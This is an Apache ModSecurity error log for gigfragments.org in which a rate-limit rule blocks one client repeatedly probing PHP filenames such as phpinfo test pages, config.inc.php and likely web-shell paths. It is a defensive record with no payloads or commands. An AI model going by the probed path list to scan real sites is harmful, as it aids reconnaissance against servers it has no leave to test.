[Sat Apr 25 07:42:07.822255 2026] [:error] [pid 44319:tid 44342] [client 4.232.190.225:61798] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aev_z8zJPAVLUb2pWtJglQAAAA0"]
[Sat Apr 25 07:42:08.297861 2026] [:error] [pid 44425:tid 44442] [client 4.232.190.225:37536] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aev_0CUl-VlItvY2tR8legAAAM8"]
[Sat Apr 25 07:42:08.767156 2026] [:error] [pid 44320:tid 44356] [client 4.232.190.225:35759] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aev_0DmFqSpku_dij8iFEwAAAEA"]
[Sat Apr 25 07:42:09.234127 2026] [:error] [pid 44321:tid 44391] [client 4.232.190.225:45049] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aev_0Y1b5lV-asWa_Y49HwAAAIg"]
[Sat Apr 25 07:42:09.701981 2026] [:error] [pid 44321:tid 44389] [client 4.232.190.225:37520] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aev_0Y1b5lV-asWa_Y49IAAAAIY"]
[Sat Apr 25 07:42:10.169132 2026] [:error] [pid 44320:tid 44357] [client 4.232.190.225:45002] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "aev_0jmFqSpku_dij8iFFgAAAEE"]
[Sat Apr 25 07:42:10.635838 2026] [:error] [pid 44320:tid 44380] [client 4.232.190.225:37565] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aev_0jmFqSpku_dij8iFFwAAAFg"]
[Sat Apr 25 07:42:11.104461 2026] [:error] [pid 44320:tid 44370] [client 4.232.190.225:61789] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aev_0zmFqSpku_dij8iFGwAAAE4"]
[Sat Apr 25 07:42:11.574886 2026] [:error] [pid 44320:tid 44371] [client 4.232.190.225:61822] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aev_0zmFqSpku_dij8iFHAAAAE8"]
[Sat Apr 25 07:42:12.041698 2026] [:error] [pid 44320:tid 44368] [client 4.232.190.225:42690] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/._info.php"] [unique_id "aev_1DmFqSpku_dij8iFIAAAAEw"]
[Sat Apr 25 07:42:12.510162 2026] [:error] [pid 44425:tid 44429] [client 4.232.190.225:55033] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aev_1CUl-VlItvY2tR8lgQAAAMI"]
[Sat Apr 25 07:42:13.013933 2026] [:error] [pid 44319:tid 44340] [client 4.232.190.225:61801] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aev_1czJPAVLUb2pWtJglwAAAAs"]
[Sat Apr 25 07:42:13.481904 2026] [:error] [pid 44319:tid 44332] [client 4.232.190.225:45001] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aev_1czJPAVLUb2pWtJgmAAAAAM"]
[Sat Apr 25 07:42:13.947963 2026] [:error] [pid 44319:tid 44331] [client 4.232.190.225:61793] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_flag.php"] [unique_id "aev_1czJPAVLUb2pWtJgmgAAAAI"]
[Sat Apr 25 07:42:14.418322 2026] [:error] [pid 44319:tid 44338] [client 4.232.190.225:38325] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aev_1szJPAVLUb2pWtJgmwAAAAk"]
[Sat Apr 25 07:42:14.891319 2026] [:error] [pid 44320:tid 44379] [client 4.232.190.225:37504] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aev_1jmFqSpku_dij8iFKgAAAFc"]
[Sat Apr 25 07:42:15.360269 2026] [:error] [pid 44319:tid 44349] [client 4.232.190.225:37543] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aev_18zJPAVLUb2pWtJgnQAAABQ"]
[Sat Apr 25 07:42:15.826825 2026] [:error] [pid 44319:tid 44336] [client 4.232.190.225:61787] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_info4.php"] [unique_id "aev_18zJPAVLUb2pWtJgngAAAAc"]
[Sat Apr 25 07:42:16.298553 2026] [:error] [pid 44425:tid 44450] [client 4.232.190.225:39191] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aev_2CUl-VlItvY2tR8lhgAAANc"]
[Sat Apr 25 07:42:16.767207 2026] [:error] [pid 44319:tid 44351] [client 4.232.190.225:36824] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aev_2MzJPAVLUb2pWtJgogAAABY"]
[Sat Apr 25 07:42:17.234824 2026] [:error] [pid 44320:tid 44369] [client 4.232.190.225:35740] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aev_2TmFqSpku_dij8iFLwAAAE0"]
[Sat Apr 25 07:42:17.707502 2026] [:error] [pid 44321:tid 44406] [client 4.232.190.225:37511] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test_phpinfo2.php"] [unique_id "aev_2Y1b5lV-asWa_Y49IwAAAJc"]
[Sat Apr 25 07:42:18.180006 2026] [:error] [pid 44321:tid 44383] [client 4.232.190.225:42705] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aev_2o1b5lV-asWa_Y49JAAAAIA"]
[Sat Apr 25 07:42:18.664326 2026] [:error] [pid 44320:tid 44375] [client 4.232.190.225:36810] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aev_2jmFqSpku_dij8iFMAAAAFM"]
[Sat Apr 25 07:42:19.140671 2026] [:error] [pid 44319:tid 44329] [client 4.232.190.225:36837] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aev_28zJPAVLUb2pWtJgpwAAAAA"]
[Sat Apr 25 07:42:19.612198 2026] [:error] [pid 44320:tid 44361] [client 4.232.190.225:36853] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HsFPDcD.php"] [unique_id "aev_2zmFqSpku_dij8iFMwAAAEU"]
[Sat Apr 25 07:42:20.080715 2026] [:error] [pid 44320:tid 44368] [client 4.232.190.225:37547] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aev_3DmFqSpku_dij8iFNAAAAEw"]
[Sat Apr 25 07:42:20.553531 2026] [:error] [pid 46083:tid 46108] [client 4.232.190.225:50054] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aev_3Dxw_Zq74vWdjmlY1wAAARQ"]
[Sat Apr 25 07:42:21.032771 2026] [:error] [pid 46083:tid 46107] [client 4.232.190.225:37552] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aev_3Txw_Zq74vWdjmlY2AAAARM"]
[Sat Apr 25 07:42:21.505490 2026] [:error] [pid 44425:tid 44428] [client 4.232.190.225:52761] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.inc.php"] [unique_id "aev_3SUl-VlItvY2tR8liwAAAME"]
[Sat Apr 25 07:42:21.975226 2026] [:error] [pid 46083:tid 46087] [client 4.232.190.225:46723] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aev_3Txw_Zq74vWdjmlY2gAAAQA"]
[Sat Apr 25 07:42:22.462313 2026] [:error] [pid 46083:tid 46104] [client 4.232.190.225:36809] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aev_3jxw_Zq74vWdjmlY2wAAARE"]
[Sat Apr 25 07:42:22.928437 2026] [:error] [pid 46083:tid 46111] [client 4.232.190.225:52352] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aev_3jxw_Zq74vWdjmlY3QAAARc"]
[Sat Apr 25 07:42:23.410859 2026] [:error] [pid 44425:tid 44427] [client 4.232.190.225:36844] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aev_3yUl-VlItvY2tR8ljQAAAMA"]
[Sat Apr 25 07:42:23.878008 2026] [:error] [pid 44321:tid 44403] [client 4.232.190.225:36820] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aev_341b5lV-asWa_Y49KQAAAJQ"]
[Sat Apr 25 07:42:24.350315 2026] [:error] [pid 44320:tid 44374] [client 4.232.190.225:52362] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aev_4DmFqSpku_dij8iFNwAAAFI"]
[Sat Apr 25 07:42:24.841903 2026] [:error] [pid 44425:tid 44444] [client 4.232.190.225:38316] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aev_4CUl-VlItvY2tR8ljwAAANE"]
[Sat Apr 25 07:42:25.307818 2026] [:error] [pid 46083:tid 46102] [client 4.232.190.225:52360] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aev_4Txw_Zq74vWdjmlY5AAAAQ8"]
[Sat Apr 25 07:42:25.774028 2026] [:error] [pid 44425:tid 44429] [client 4.232.190.225:56877] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_version.php"] [unique_id "aev_4SUl-VlItvY2tR8lkQAAAMI"]
[Sat Apr 25 07:42:26.241404 2026] [:error] [pid 44425:tid 44451] [client 4.232.190.225:56869] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_version.php"] [unique_id "aev_4iUl-VlItvY2tR8llAAAANg"]
[Sat Apr 25 07:42:26.705958 2026] [:error] [pid 44321:tid 44407] [client 4.232.190.225:62290] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_version.php"] [unique_id "aev_4o1b5lV-asWa_Y49LgAAAJg"]
[Sat Apr 25 07:42:27.189395 2026] [:error] [pid 44319:tid 44346] [client 4.232.190.225:56133] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_version.php"] [unique_id "aev_48zJPAVLUb2pWtJgqgAAABE"]
[Sat Apr 25 07:42:27.658252 2026] [:error] [pid 44425:tid 44439] [client 4.232.190.225:36860] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouts.php"] [unique_id "aev_4yUl-VlItvY2tR8llwAAAMw"]
[Sat Apr 25 07:42:28.125434 2026] [:error] [pid 44321:tid 44384] [client 4.232.190.225:56857] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouts.php"] [unique_id "aev_5I1b5lV-asWa_Y49MAAAAIE"]
[Sat Apr 25 07:42:28.599605 2026] [:error] [pid 44321:tid 44383] [client 4.232.190.225:36815] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouts.php"] [unique_id "aev_5I1b5lV-asWa_Y49MwAAAIA"]
[Sat Apr 25 07:42:29.070982 2026] [:error] [pid 44320:tid 44370] [client 4.232.190.225:52390] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouts.php"] [unique_id "aev_5TmFqSpku_dij8iFOQAAAE4"]
[Sat Apr 25 07:42:29.549379 2026] [:error] [pid 44320:tid 44362] [client 4.232.190.225:36843] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/profmanage.php"] [unique_id "aev_5TmFqSpku_dij8iFOwAAAEY"]
[Sat Apr 25 07:42:30.020379 2026] [:error] [pid 44425:tid 44428] [client 4.232.190.225:52406] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/profmanage.php"] [unique_id "aev_5iUl-VlItvY2tR8lnwAAAME"]
[Sat Apr 25 07:42:30.487654 2026] [:error] [pid 44321:tid 44397] [client 4.232.190.225:56885] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/profmanage.php"] [unique_id "aev_5o1b5lV-asWa_Y49NQAAAI4"]
[Sat Apr 25 07:42:30.957936 2026] [:error] [pid 44321:tid 44388] [client 4.232.190.225:56890] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/profmanage.php"] [unique_id "aev_5o1b5lV-asWa_Y49NgAAAIU"]
[Sat Apr 25 07:42:31.428434 2026] [:error] [pid 44319:tid 44334] [client 4.232.190.225:52409] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makecvs.php"] [unique_id "aev_58zJPAVLUb2pWtJgsAAAAAU"]
[Sat Apr 25 07:42:31.895552 2026] [:error] [pid 44319:tid 44329] [client 4.232.190.225:54984] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makecvs.php"] [unique_id "aev_58zJPAVLUb2pWtJgsgAAAAA"]
[Sat Apr 25 07:42:32.370610 2026] [:error] [pid 44321:tid 44395] [client 4.232.190.225:55019] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makecvs.php"] [unique_id "aev_6I1b5lV-asWa_Y49OAAAAIw"]
[Sat Apr 25 07:42:32.841811 2026] [:error] [pid 44319:tid 44341] [client 4.232.190.225:52383] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makecvs.php"] [unique_id "aev_6MzJPAVLUb2pWtJgtAAAAAw"]
[Sat Apr 25 07:42:33.309547 2026] [:error] [pid 44319:tid 44343] [client 4.232.190.225:36816] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpreleaseinfo.php"] [unique_id "aev_6czJPAVLUb2pWtJgtgAAAA4"]
[Sat Apr 25 07:42:33.780516 2026] [:error] [pid 44319:tid 44333] [client 4.232.190.225:35257] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpreleaseinfo.php"] [unique_id "aev_6czJPAVLUb2pWtJgtwAAAAQ"]
[Sat Apr 25 07:42:34.246332 2026] [:error] [pid 44425:tid 44445] [client 4.232.190.225:36854] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpreleaseinfo.php"] [unique_id "aev_6iUl-VlItvY2tR8lowAAANI"]
